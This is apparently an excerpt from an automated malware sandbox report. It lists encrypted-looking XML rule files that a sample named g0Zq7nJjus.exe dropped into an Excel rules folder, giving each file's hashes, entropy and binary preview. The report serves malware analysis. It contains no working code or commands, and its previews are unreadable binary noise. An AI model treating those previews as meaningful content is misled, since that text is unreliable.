Preview:	<?xml!.."..g.f~.._.>.....`X.;..Q.LBa.....Fs>f`.].m;.X..?...0-.i.%h1-......x.../..b.o.J,...~.@...`K._1K..>$^.:.....1.\|...&Y..a.D. r..).....j.w...uc....3....E(d..5a..i;.davy.ztv..O....~h....B.........l.gZ:).`=.....Yj...y.....U.r..o8...d..A.Prs.k.0.N.....\.Y...`'.L2.>]......$l.`.UU..... .!m...Q.)../......vaI.=D..}iE......2.I....Ko\.@.....!d..G Dl.p...'..<..c.Wo7.fk..8z,.!..L.Al..{.FZ....+...._....0.k&x...n.w........O.e...X...C.\.4"%.-+[....k..S.E..?.w..........y.h..J....H...r.Z\|........#..K"4.U)..h.`.yb..!...o....V...3..f.>...<"..".F...S..W........JL......e..Q.,S..,.......d....-.p..#...[..d\|./.!...h......j.p....u...7..7....d....\|...b....%........mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120672v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.744504265030037
Encrypted:	false
SSDEEP:	24:M6oruEz3dUzEtMip4Ub7SRrO61lPIguqc6ufT/nf+2bD:XEbdXMiOmS1OelPB/MLtD
MD5:	97EF72D7E27C58649D4D287E20AF5A5D
SHA1:	A68D9A8FAE8CAC76BBA815C46EE2CB3243D4FF44
SHA-256:	397C4040667864E033396438137A7A880F8C3265CC7F22B29B79DFC32E9098A0
SHA-512:	AF506C677A14E06BCDADC8DA5B16B10230E61A2AF1474A33180B4C7FD14496F89B322BC8BBBFCE52EAF94C4842443F3B2E405B317351A465DF82BA5E6FB4A4F7
Malicious:	false
Preview:	<?xml.^......C....^..~Bd.y..<.]..W....I.u..bh.W..../.:....Ed.{..n.Zs. v..(T.....M..M.H....&". ...OJ.._.C..AB..#.....[W..G.....Q..b.:3.............3.,.'..E$......s..).j...g.a.yU.j..vc9_6.V.M.5....Y...4...&.o.2#.3.m..?..S.2.....A..NOF...22qq.Fmg.......P.......$#..i....a.K...x.^..G.w.. hW.}.....S...2.....d..B.?-OD....$?Z..Y5.@..7.\|...yR..:.?1.E....*...[...o.Qm...../......O-.M(..JT..E....4.j....a...j.......P.X..r.&7...&...ac.mn. DA....+gj.........m.n.....gY..[....g..!bO0....fi..t.'..D...8.q...... .4..b.Z.;/%u.GfX8CuY...].^.0..W.{(Tr..W..?.#...4.g..]..xC+..~.......P.[.;......cN.u.j..b:o..u;.....T...w..........t..+....:.K....Q.x8.f......]...../....O{.cLJz3...Ne..X......C.@<6mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120673v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.730201061165587
Encrypted:	false
SSDEEP:	12:O0AYfBu/pq5nDJl6xeaDY7jZz9dOJMjohmZVhIrRNdVtwRBj5SUdNcii9a:O0uRq5DP6xnYnZ+yWmp8RNdbwRy2bD
MD5:	1C1CD1AB82BA1D962C5A535F08AF3497
SHA1:	A00836131428730C90C891D213D144E60E012C81
SHA-256:	725E90DE728DA8979F6D6A4AB720266C082B5D9B03B1EA90B282CBC34FB94A98
SHA-512:	5C31F2D3FAE342B6A497A4C94C0E38EF401B0BB748D18BD12A6B5C5DF55BAAA979AFE13E3EB7475744DE3280A22DA4A6A08A3A09AAB86A6A2209401C784DBBF8
Malicious:	false
Preview:	<?xml..H<....=F...M.Os.....4;._....}/.3.\.Qi..=43....F....e..i...n...X..Z.H.y.hY9.+..N.{+..$..%$.@m....E...t.S".o.......u.?..DU.m...HH........7...L;..F...hn6z...b..G.J.....;..^..`.!....i.QC.A.%C.,L..^...".&Z-G.N;.....Ge\|q....,...M.......r/.w:E..e..YD.\|....{......X....5.........?.N..p.+b:3:..i........5.b...n..E....#....a..W..E.kt"e.`..?)..v...l.S..f:+2...+CF:q=....l$..\|.^..Rb.i.!$...E).....'.^.D...}......l..s.?>...$H......y?...y.)..O.E .:..t9!..-.{..C<.s\|]....V2.P.c.75SDt..}..H..^z.4.7.c.........s.t.k..Pk.Ct...-~.EB.k.."HwV.VI[...:N.&.v=n.>9@hoJ...(.w..{0. ].....S...e%.!..<Z.\..Z..}.8.1=h......FQ.jt.+y.X...he.{.....-..0..J......n..^/...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120674v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.7292387332613695
Encrypted:	false
SSDEEP:	24:wzeu0EDfXpCQPo/gLjMRh3AAQAuGPyyEn42bD:wV5phZgX4LyErD
MD5:	7AFD78F739CCEF47974BBB8A971B780D
SHA1:	0DB569808BCA63AC3B10F38DE7E7A88DB18898D1
SHA-256:	6E19765A69FD50E965B0F51B906BF47D37C3CF11482196089C6612C2FAA83FE9
SHA-512:	FBE5E96E99B14C681DDA7AA6422F2E20329BE8F8B3E86266C816C30F4503C76281649608F18DEC5AB47485816541A3187784B2A5BCA2A9B23BDBE5C8C7567F81
Malicious:	false
Preview:	<?xml.P."ee.s.E?Y9..F^l.%..H.B.{.\|..c[.w\|...T+)9I.8.....K.u.db.. ..({.c......2`.eL....\...#..m.....8...w...]0.[..in.>A~..pa.I.=.w.....3rK..p....b\...d\|L..zL1]^..'0_L.Pr.K8.....d.#.Xa...k.........\uS...},bd.....~.l.v.wPJ.....z....ps..F..w.'......Kt.8..QI.X..b3..\.]...B.L....o..V..h..1..2..z._.E.$..3..F..P....q.c....c`_B....V..`..Y.W.roHW..0...p..... M..A\|c.....e..50...S[wa."q...GO.@P77@..........44....\+;\Kv...(...F.......X.].W.[...4].-.%7..1..~..c.S G.A.B....7.. .......l......P(.m ....&....+(8...t...N;_.......W....*......I......e..3....N.K017.&R..f.....r...G.c[..k..}..K.....gU...+[..~Z5q{.J.].vM.-P.n...K9...4?,.Sd.\|...B!..v.e+0m.s.zH...k-......R.......7]4...k.4..v.w.=.0b-h...O.}..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120675v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.687645286703446
Encrypted:	false
SSDEEP:	12:hqtLg6tOxqotsYfPyhXelDjhr2H6k1KdBCdIQAOgxkD7chVKAb1SUdNcii9a:wNg6tO3tsYyhXuDjhr2jmCdANxEchVqw
MD5:	BDEBC6F5C2E93298CB07DA4EB9408890
SHA1:	87B70DAD718E625E3B84E897CD5A7ECC513769FD
SHA-256:	B4334802631F5080278041A199E8DB61E61B1014000479C050D12AFA4FABDCC4
SHA-512:	3CAF886D420129B7DA9346F9D4A5CFD28662F4079C24047639D52B7FF39AB165795CA3EBED059737F3A3F8D27CE720165FA5E3FA87B510FF7139B0A661C99075
Malicious:	false
Preview:	<?xml.....5...X.2.H"4 .r.'.8-A.y..q..P)&.\|.ZmP.B<.W...q.f.$..p\|.a....%.(....$A.`.{;.8._..t.......4d0..k...d..v.5....U.{.}.h'5Tx..u.!......._hj....;\|.,/.......[..Y..t.a..^..0p.x..5.yg>..3s.g'...%...f...._.........=..`2.....G'u9.#=.....-..mS[p..w$.7.Um.]Z.c....'zm...qu.......ia..=`..dL~.....?..8.S....,.h...A.SS.+.k......'.2...u.~............=..]!a\..P...R.....yy._`y..<o....H<.e.c0...4...U1....,.&....L%.x.tY?..k.......X.ts..C\......1R.....+>@.v.........4....N.Pm.....~.P....F...'0...T..e.W....0K..W.#l.1.B.=U...#.....#p..c...\|)..UXW..).x.....u\^..<.k.b0_.w..}.k8.bb3m...t...............Wj.\|%3g.p_....Z ....f..G.^C..2N...z.. D.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120676v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.717102124071022
Encrypted:	false
SSDEEP:	12:qzVqjjzP4pXsW/ivHrPU9oHE5auiaDXC1f33t34tfLn32ZUKRi5iuVg1AMOxPaxL:qzVqjjrWqvHguNubL2WZUE5JEiJ32bD
MD5:	8AE74F3C5619EDF0A8B6BDA1475A00AA
SHA1:	BB87A8342DB640ACA8DCA30D62D91D9D6EE3B1B9
SHA-256:	7D232454172293CCBAAC993FFA06F471690F8F371914E6FBDFCAF3480A43B3B6
SHA-512:	043744698A612473102A7E22BA72DAC0150B79AF600664F8D4FACDD4AF71A72A42408F5655EFC2AD4E84D10F2CBB7E34EB7EDB9289F213FD4F6CF855A93F3F85
Malicious:	false
Preview:	<?xml.m..++d....z.0.W.fi.%...'.lk...........3\|_y..i.p.`.......ye.\|lpf..h...,../U.!..kM..!...6...+....tI....:.U..(....F..f6e......\..52......,/...L;.p..1...9f&\|"B.pjn....8.&.8.K.J.{o.U[.%J..1u2B.?..../....j5I,E..>....r...zj....\.^...\,V1..e......T(.pU.xC=.....^DQ.....9.....o.V...zU ..z.q.ES.[..r.../AFM}.4...v..Iw5..e.....k.......u..;W...@.......m.<.....}oc..#,&..:...1....%.J.s..6F.k.1.....j..M<.$..s.Q.};N`(...!.....$.._..q....W..2..P.....\|v......s.vp..X4z........U..E..)H=...GFD..Z.....zpIG<.}.{......-@].........p...X[.?..4.Q..#R....i..{a...].I{.(.#.wT.2.l.][.f5.<b%%...J.{k.......7.G[L..m.9.\.Jv..).nzij...T...y.Gl.:h.Q._Y..)..{.C...k..Qs.......pp...Rx.y...-B..@.`...2.g..P\..YmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120677v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.641361947792472
Encrypted:	false
SSDEEP:	12:pGT7lOL4AGFOpLH6MecZWPNqVzMNkJ8XJxGdEWAO3JkNXNVMSUdNcii9a:pGT7lOM1AFlLclq9MI8XJGEWA/hNVT2X
MD5:	65CE564BFBA3AC6FFAC13DD1DB102B4F
SHA1:	C996F9D8988947ED2341B25BAF07FECF03162275
SHA-256:	E877E34E3E6C8CD425515D3730038D4FE7DAE258CDE6BB9B8EF10A0405CA098C
SHA-512:	9F0FA3FC920CE5938081665D83B2B7A760BB39863880001C83FEA9FAA677B5DE636A80D45BBB0EDB4A97C97B75233F2C6BE2501F9DD2D77D37673A438C98EFB7
Malicious:	false
Preview:	<?xml...%....ZO!..A...k.qr...P&-S6s._....B}bgPO..R.A....M..H...k..Q6l...~6@g......z.-.%.....x.sy..o5.c....;.S..m...1..U4.j]."..3S-8G.....0....ftY.z....Z.Co..*.....2.t.S.s.....}e....g....)v..A7k.C......>..q..Mi.e...gG}.......)..EY.h.-...6;..Q...R\\5... ../...r_..l.!:TA.....QP%........M\|s9..,.;..W...c.Yc....`......O...V7..f........HO....IUm...&....Z...'..../d.!)m@......+......E}...6.+C........a:...>..5....o.A.PyZL.....>:..mR....P-4D..Y....9.....t....^.^..W..C.~.}s.-F.[....=...t.Y"X....[.7(.E0...5...../..i\|.....)...U..)..m......V......{o.x...Y.Cf..h..^2...fN..U...7p...X.........a-..J@..C[..+....U~..@.....V$..7..@...M..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120678v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.740132988242765
Encrypted:	false
SSDEEP:	12:Xx770SZW04la33ezAmXnc8a8RJXczn04zxPKXqaVb2C/Upj3MjyhCm4SUdNcii9a:X5wG3Opnc8a8PX0TmVbShUyhd2bD
MD5:	E10855E8A78F2BA083B5CCF631C27E56
SHA1:	115351B38F32A1448B465F07EFAEC7FDEC71E074
SHA-256:	59FB5E9E3B95EC7B6733EAE19B91248FFE94C7794BC6968C3CED36AC4DD10F3A
SHA-512:	D8875A238DAAE71BA5B697F49ACCAA92613D870AC7AAB54F311A6EBC1C7229400A5F54CE79AD3C0A333BF796C23FBF6F663F906DD742EE4F3AD47B7B28BB91AD
Malicious:	false
Preview:	<?xml.)}f..<...0..-.m4..TA...{.7;.k=..$tB.`q1...ar.l=.{...Ce^(.\|..%.:.o.bQ..1.o./..AU.PF..Y{.D.e..._.............ge.=/.[.....6..4../...N...W;&CV.V...4...o..>r..%.e..re.2\._....8..r.....6.e...t..dj...C.....b.[#=...ne<b..b-{......$...)ZV...%.5r.....zd.a~.......D....... Yicd>.A..:.g.Uy@g...R.H.$W(...^...i..i.q_S.`..x...W.........n,miZ.r.......h...@..%.Hk..4h.5d32u.U......Qx.iE...SPw..3.V.x...5.......;}.w..>...O8JN.E... ....fly.......f}.I.M~.R......"}BCXH.".O..'.".Y..AU...L..4d.?...aN}.L....xW..@~0.. .........?[.[..^...GZ.`.e?..=..d.N._..k..~.....\|y+.]i.V..\.v..$_A.(.A.j..]./....3..}.....1.v...h....1.B.....W@.s..H..e....&.G>._ ........W#....'S..j.)(.gt........HA....2..^C..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120679v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	507
Entropy (8bit):	7.521912513127096
Encrypted:	false
SSDEEP:	12:XFpGrRgEwaz6uN42TjAQmlYuEkpSUdNcii9a:VpGFOaz6CRLIAx2bD
MD5:	EDF959F75AF26914211B900DA8D225DB
SHA1:	55F077CD89B1EE050EBD61CEEB5A8B49E5344B5A
SHA-256:	8F376D99DB71C2CD9953E3E7E01DDB54DC4C0DA46C480BF9692D191AC6658F9D
SHA-512:	A835C45E96ADE1A66AEB33DC122AD087361FFF28EA50F716668369621CBC06000E0B50DABF48E00C67DBF7903FC0D9E8BF20CA40A9A5FE61C854B4C926092521
Malicious:	false
Preview:	<?xml.....#......b....c..\.^f...p.tX....8[..+..:Lp....."3..(.b.&.6..s....u.@..o..=.o.f4....VmjRA......<'3"..{..e...M..w.I.C.=.J.(4}]..E;F...<..>.1...2..E[n..?.Wr~J....3.......v..K...%BR.OLku.kLk..qo.r.:Kas.....l.p..9>{(..t...^.-..-S.O\|...q...1y.,..Uq..G4.....B$..a..=..z.~......}.n/.!.%.tG..]..4....}o.1E...t...6.RF.....</.3.U.......r@67r.+.F..6..s..au9.K.~......2.+......?......4V...^?...\|.....P..y..y.7..w.H.].mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120680v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2285
Entropy (8bit):	7.919123263255446
Encrypted:	false
SSDEEP:	48:C8q9uEH6epI6icDNp1HMzn498gaku6ieVslONAF8HjV7XFNKmJ2zYUD:/wF6d6icRp1HMznFkPuOKFAV7XymJ2T
MD5:	6600D400698869740BCE70AF8EAB527A
SHA1:	31CCC1771581AFBD47251FE8F8E08BE54C6B3814
SHA-256:	0361C2BB03CCAD145D882EF7EF9055348E8B8C9C86764A3BCE6F64F54B20ED8C
SHA-512:	2704340038A21BBC6882588EA39B073421FB50A455E24F5F8BD8ADDC6E949259DA396C91EFF7A87B841BF22A62ECDFD5FBC2AE7F9FB72B712D2BAD05C735E9D9
Malicious:	false
Preview:	<?xml.....'k..f.j.<.O..`.C=...U.5...........S..b.....f...@e.+T%.(...r..%R8....Wz.4f..#%)s~...sS..Oc.2.9..~v.c.@.a&Q........M..P.._............ `w..??.0....b.4.....]5c...b....]..g..a[..&.........6..x#a..r8..d...........q.j..x..Z.....,.-".9.......)P....z..n'.......3OP.e. _1.z.f..5..#..6.Q..~.)...mO./U.Y%}7A.B"........d.d.h%.z..8hZ}...k+....+.'.).T-....Q.S^.'......X....p6Q~.:..g7.c...........k..h..K.>j...[...'..k.WL.X6.......W.BS. 3]-.....c....l2.i?.Z..e....j..>..L.\|tT....._....W.@0{D$..'[.sM...V.~Y...0Q.K........?pK.r...Y...K.........Y......x...Pd&.@~..Z". C......5..#Y(3...*1...l..H..xee..P.{f.^C.-..].r..#........K.....t.bK%...P...t.q....0.................u......u.R..D...t,V...K.U?.,F.Tu.X..SL.'....e.3RG....7(...P5..H..p9...z...r.b\|#.H.]....^.K.0..?.. .(..K..k.........Z..hu..g..Z2wz........\|i...W.p.d....3r.&MaU....../..B..f`..Up1j...n....x......2.[...N2..5.3....o.t/..nK.....$.Y...{..Z.....?....k.G(..E../..P..j....&.Y.....T3r......O

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120681v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1291
Entropy (8bit):	7.829823007819792
Encrypted:	false
SSDEEP:	24:tQXwBemmiRjI1+gAkuRZshWpVNz/w6QQrsZmZTcXQqAAJ4pGD2bD:tQWBRjkL4R9/+QrsKYhqDD
MD5:	D425B6A8A7BEF43992F6107EDC548C70
SHA1:	7D1C49C3E50D86E577504EAC105B23D155917666
SHA-256:	394092A85099B27E9F3D6A7D36C36D709119F088409F02FF8E8AFB588E082E62
SHA-512:	9A40B945886FC4D43279AF3C853A4B6722F750E56F6AB42362669222A7D887955652C4288E4248D688BB68197EAABB2FD63595168FF5BD79B3C333CC2DC38168
Malicious:	false
Preview:	<?xml..8(.Iye,.k......]...L_R.....v.....i......c.Up...h.M.:.r'..I..G.h........f;...%I.Js..<.g...J.l...............e5...:...;.M.b....fm.Ap..f.2eHz....T;o... .N.[4..Z....D.._]..........8....2..&\|.......t...[S.k.t...G........,>Ay.(x....~AT/i,.Q.2.\|.}0Z..98.!.H..8B>I.M\%..\MI;....u&3..`)........M.3....;Z.]y...`.b.$.%4.M."sq{.......rt...f ?.-o. ...4...D....<....&a.~.T.\.x.H..b`.......\....c..9.b........C.?o5.....Pd.0,...,...\|N}R.#77..sM....1..."u.....mY..&n...3yL.h.{f...H...]..XK.......GK........36r.es.6<.Cf.T.L..,m..8..0.R.+.z#q]~.'..q.0.W..zJ...~.M.'..Y..^ky=r^...`......l..eCp@..~..v4.GG!u..fs.3.....M...?J)O.^9..`y.[.F\...K.f....7...........}.N4N...._..r/../.1.O...J@0\|.y......c...`R.T3......q..Z.[A..Gw..gND.s.:..1.g.{$.Lu9....s"l...N.=M.K..(... .s4.U3....J.[MO%..7.h...\...Vq...R.f..Wm.$..n.....c.B.g!..{~....0`V& .`..y..F..OV..P.\|.t...HO.....\|.....L{.r.\|..zZ.1....AT.2..0..w8A.ffW.R..]+LO..;.....l3..+]..;L.Y..j"2.}.......@..f..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120682v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.67611878726663
Encrypted:	false
SSDEEP:	12:0PTZbN5g7Xp6KG8UUMwkybYjBL3mzNmzEJtaxTed1O2dGJNxxf3ie5QWSUdNciik:2TFo7Z6Jyb8BmTJoBefyJFiL2bD
MD5:	7D58AE893F666C38C34011F901D4E0B4
SHA1:	1E44FAE454FD733C51959093DA8BE5710B8340C0
SHA-256:	3902C159683B29702FD0E69D08A440B2E04784E277690B40AB287F8E2F66E4F4
SHA-512:	8BDEC0D6F8C0B60C7740062D9AD2259CCA4DBFB76C1F42A43CAA9FEA4B6A9746D9C92606D2AF118B124803E42D30758478F475A5B5DF168C6E8165A9F322E191
Malicious:	false
Preview:	<?xml..b.N.....f\..M...{7.n. ..f.I.r.u..=D.c..{.. ~.m..C.MY....u1Cv1.?...=#Uo"f.F78.E...j.......[.f&.?.R....&Bp.XQ.......G..]8../!.q9....5r.iDt...\......V.$.C..w..n.+.Pm.....P}.ViB....y.r@...];...`.c.....y...`b...!a>}......1.b.>.^.Hb.@...bdJC.....bln.[.1...y0..M..{... ..Z...5.x/..=.'#B 6~[.>.fR..F[x......1.$......NcK.~.Qtv....z......<..._...b..o.X..u....D.}...E.&...e...%o..Dam.T.T....kW.q...=Y........E.&...yY. Dc.2/.oJ..j0I........@.".A.[.N.Y.7.....k........X..Tj.4Se.].&.G...7P.(.C..Zq.......X .aLx~.....N.1ef.+yjY......-....c.}(...vcT.;...,....r..p<.db..!..y....}+..+..z..`E..nA.)t..Y.+e........hQ.B..?=.>.n.} ..I1....r.;.)...5..........~0O.6}r.LGf\..aD..{....9G.?..BxHe9..\|.au..Xc...{..,.[{.D5..@FF,...9#7t-...^.J4....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule130009v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	630
Entropy (8bit):	7.621175531752218
Encrypted:	false
SSDEEP:	12:4HAr2cEH25zahPiU7aO5fPO9umX35Ttp/CiKKiFSUdNcii9a:4bZH25eZ/7ZfmMqv9CFS2bD
MD5:	1DA265860CA2A1AF12F2AE205825219D
SHA1:	836E154546553E673A02D9F0D717DFBF8B633C75
SHA-256:	45EC7D8F077B804E9681A038143AABDF07146825F0A9F2AC1831A8B50DAC190E
SHA-512:	7A8A27EDECF2E3FB2112B07DEF9EFA290E1738AAA201E7190CD45CCADFFF19E76A4A669AF32D091F54EAC11098CD80507BE8A84C7D96F0F348D4A83F9BF98943
Malicious:	false
Preview:	<?xmlE\|....Eea@E...7:.k...c?..t...%..].y.X....u..RK..6`...............g.M..S.......H..H.i/....F=................p.1.......I.s~.nF..cXP.\.B...i..Z.......1/...6#4..D..v.WD.....1.[yfI/dUC;!.h......a.t6.....`.y..$..T..BG..#.....a........V..'...>t...M,....t?.yHVt.\|.od4..>$........1.=m....q7.'.z....gZ.....@4........7.I....T\|..._......M...K..k.....P...@./.......$..b..S./..k.k..\|...\|..\|.k.iu.4...I........A^?xu..L......ZNS.......4.M..IH..(.u...L...lz......g..t.A.....Cbx;.K..R..+...T.....L.Pt.w..+.\|`...iF..B...!..&....7.]j...P3cmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170000v6.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.741502147604851
Encrypted:	false
SSDEEP:	24:GNZiSbRZXwuzQbo/qxq7GwToAtmi+tgXMz77I3bEtDR2bD:GeSjXwuzCjwToA5+JI3PD
MD5:	6BBF034A26B223EFA30C883F02BDE46A
SHA1:	A6F80F051711955C63A9994A329D8EAC7A1867EC
SHA-256:	5ADE024BFEE09FF2F382C2919EA36B29AB5737C34C127DA1E03F3523CFD0BD54
SHA-512:	852AE6A94F5E61F6638310C7CC156B0FBD02EE20360DE9BE26703E5B10D8B8FEE845AB6944FD9A4E22624B183445639527144E9A68D4B7F9AFE8BBCD56C31267
Malicious:	false
Preview:	<?xml.[.x....<.......l.. ..v....7......o.M...<:..BHPQ.........4b!s.w&.k...F9.I.X#..zF...d...~J.Z.Uh.....9.e...rT..............9..Go.[...>..h6.j..g.Z......6.M..3.q.R3.\|U\..PC........-..M.m.#\|G.q...g......2...8..A..n.8g..f..o....0gR..S6..P.........k>...%......z..Jh.i..[..^...&i~/1.LbG......%.1....H.....r...U9Y...}o.]P.....w.n.W.ch..VU.r.^....!0.ma[..#.D....C?{..e..#..e/Y............[..m\}.@......e..M;Y.l....y.....}..o.^.....N.:...>@d\..R4n...~<....Z....iL.y'.....^.-.M7.....>....F6..=9..<.d...cL.....:.z.m.........5...\..D;..ML...C.;..). ..%.p_.W....Y.\..>.t..xgo$lf.=.......z.H..Y.k.....dt..2.5....k....U..l....1T...6...9S,M..F[.B....gs..~%>.y..D.;..B..}...g$.H.kb8n%.[.N.....d.Y.B....7.5.GD:.m.).a...k......Q.l.}.A.....;.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170002v6.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	6314
Entropy (8bit):	7.971646256390588
Encrypted:	false
SSDEEP:	192:lcpxOc/7tCrqrLzp02owN/sgv2npOGJ+Qj:lun7xrxIgvqIsj
MD5:	36B1185223096C908CF97177A03B3414
SHA1:	D9EA2C0F1142897F49A03A836584F174A01FA717
SHA-256:	8848D907B45C7088F031763C5EB885D3410F89A28733F8349F094B6EFA949EC1
SHA-512:	4E37E4E98A873247814F7A24340F8D418F3AAE964DC5C7069FAB1F868D0B41FADC91CD4F3964A40479C5CFF54EC213BAE9C3945E32BC671150D233F1D9822F31
Malicious:	false
Preview:	<?xml...5.+.Z.eb$...t.-.........>.....A.^.P..Hk...L.y rt.Y..cF.Y0\h.K<....Y.....\|g.:".i!.l. .LC...Y......>.(.Ak~.8.....oz.`...o..-.I..GS=..;..Qv......Qa...7.f.FP.......G.M..._..^.......c..m:j..y.....[...w;w..y........L.. ..../.M.p.<......N!.E.G..yF....!.sk..l.e.......j..Z....@UV..u..Q.}/...1~7..\|.e..6..@B.H..%8\|..:.5.."....O..tw...U....jv.0...s}^I..L.3.7C...tgJ...j..4.,.....ph..../\..l...m..k+0..-...A..',..#-....v.g"o....r.Re...e..#j(@DA...(.;.z@B........hMlG..C~.....@.0O..bX.......X1....2.(}...F....{.^.\|.T....U.=.&....,@k..S....AV\|...1..P):2k.e..^..s\...l4..N..o...S..e.7...2....+....B..F..U...r.......h..yk......DE..z.4~.\|.o..?...Wj.?=....u;md..8{7.....WS.).d.J.doNE]..h....X.r.OF..;q-...".....^.......h.D.-.`.xj..}.U..4GJ.B=.bubW"N....^..../..Tu@.Ck>.[...KfX..j.Bb=.%........pQ.:.C.. '..0....SL%!...'..W..{.7.V..i.T...........7..?5.p..%..U.a4...\..q..0%..c.Y.6...bS....}...p3.........s.I...I.Fg.}.....ZuMz.~.W?;.C#.HW.-P.E1nJ.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170003v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1029
Entropy (8bit):	7.8222285952078545
Encrypted:	false
SSDEEP:	24:0GftaiEsulRJvY2GdtRL4bmzqtCW9k2bD:0I8idulRpRsTL4bcSF3D
MD5:	0D20F915DA86A7A1FA9E667CA3D9E6B0
SHA1:	B85D77BCC28A00DF0D6AF7453494987A0A15B731
SHA-256:	6B692CD2E39FBB5599333D712E063AEDE6DE53955A8DDA18D0E2648D124BF938
SHA-512:	F80E9933C809011FB1288B00E5F107935D2921CEFF09C8A1066766485CA7CCFE57DD3A2B04C3931BA2A9138CFCB51F31C9AF0B4CD42629769BA4680FE02F3E38
Malicious:	false
Preview:	<?xml.".d?;......z,.`H4.b.:.s.v"...2}...{.[UIK..f'X....HG.....r[..R.dX0..d..8.>2./N...u.:.............e...[..&.A....K;..HW..@...u..a...9..ZM........=.T.%. ..{czS....>..=.;...._..8....r...>.J..7~...T....o..'l.I..=~...q.....$..j9.Z.fD.&.F.2........?..rT.....v...G..?J..a....:...W.\5.-?0....#c...At..S...k....Z!j.B..."u.t.>.l.6.3VC.N..\..[_^.<6(S.......w.l.....h.N{....-0rWf.V..........7.,Pl.\|8.`.....7....M [.)...~R>.r...._.....K`d...C.V..E...\...Zgn...Ao.?.@./.6.4..F..>=Z.<.7._.+b.1nl. 